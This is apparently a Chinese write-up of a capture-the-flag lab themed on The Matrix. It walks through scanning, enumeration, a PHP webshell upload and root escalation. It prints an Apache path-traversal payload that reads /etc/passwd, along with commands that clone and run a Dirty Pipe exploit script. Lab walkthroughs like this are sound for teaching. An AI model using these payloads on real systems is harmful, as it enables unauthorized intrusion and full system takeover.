描述：
这是《黑客帝国》系列的第二部，副标题是《沉睡魔咒:1》。它的主题是回到第一部《黑客帝国》。你扮演的角色是Trinity，试图调查尼布甲尼撒号上的一台电脑，Cypher把其他人都锁在了电脑之外，这台电脑拥有解开谜团的钥匙。
难度:中等难度
一、开启靶机
信息收集
使用net网卡，查看网段：
网段为：192.168.200.0/24
二层发现
netdiscover -i eth0 -r 192.168.200.0/24
192.168.200.1为物理机地址
192.168.200.2为net网卡网关
192.168.200.254为net网卡dhcp地址
靶机地址：192.168.200.134
三层探测
nmap -sV 192.168.200.134
扫描再次确认：
访问web：
查看指纹：
联想到basic认证：
basic认证：
目录枚举：
加上-r参数继续枚举
这个应该有东西
再用kali的字典枚举一次：
发现有刚刚没有找到的文件：
这里可能是一个突破口：
信息整理：
| 软件\系统 | 版本 | 历史漏洞 |
|---|---|---|
| Debian | Debian5（可能）linux:linux_kernel | 未知 |
| openssh | OpenSSH 8.4p1 | CVE-2020-15778（需要密码） |
| Apache | 2.4.51 | CVE-2021-41773（任意文件读取） |
| NGINX | 1.18.0 | CVE-2021-23017 CVE-2022-41742 |
| basic | 未知 | 暴力破解 |
初步攻击
basic爆破：
生成字典：
爆破没成功：
已知漏洞利用
使用apache漏洞利用：（失败）在目录爆破时已经注定失败
poc：
/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/etc/passwd
这里先放弃利用已知漏洞查看一下F12：
这里用了webrtc的api：
这里还有一张图片，之前忽略了她的存在：
使用工具看看里面有没有藏东西：
先记事本打开：
看样子里面有东西
丢到winhex中分析：
附带一些信息可能可能后面有用：
试一下刚刚找到的界面：
后面跟的文件名可能是一个文件写入点：
文件上传
给一个php一句话写入测试：
查看用户：
后渗透测试
权限提升：
上传工具查找可以利用的提权漏洞：
https://github.com/carlospolop/PEASS-ng
查看存在漏洞利用：
使用脚本提权：
git clone https://github.com/imfiver/CVE-2022-0847.git
chmod 777 Dirty-Pipe.sh
bash Dirty-Pipe.sh
后渗透测试
修改root后我们进去开启root的登录权限：
